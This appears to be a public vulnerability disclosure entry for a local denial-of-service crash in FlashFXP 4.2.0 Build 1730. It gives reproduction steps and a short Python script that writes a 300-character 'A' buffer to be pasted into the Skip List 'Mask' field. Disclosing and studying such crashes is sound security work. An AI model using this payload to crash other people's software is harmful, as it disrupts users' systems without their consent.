Exploit FlashFXP 4.2.0 Build 1730 – Denial of Service (PoC)

# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) 
# Vendor Homepage: https://www.flashfxp.com/ 
# Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-03-30
# Vulnerable Software: FlashFXP
# Version: 4.2.0 Build 1730
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on: Windows 10 Pro (64 bit) 

#Steps to Produce the Crash:

#   1.- Run python code: FlashCrash.py
#   2.- Copy content to clipboard
#   3.- Open "FlashFXP.exe"
#   4.- Go to "Options" > Filters > Skip List > New Entry
#   5.- Paste ClipBoard into the "Mask" field
#   6.- Click on OK
#   7.- Go to "Options" > Filters > Skip List
#   8.- Crashed

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#Python "FlashCrash.py" Code:
   
buffer = "\x41" * 300
f = open ("FlashCrash.txt", "w")
f.write(buffer)
f.close()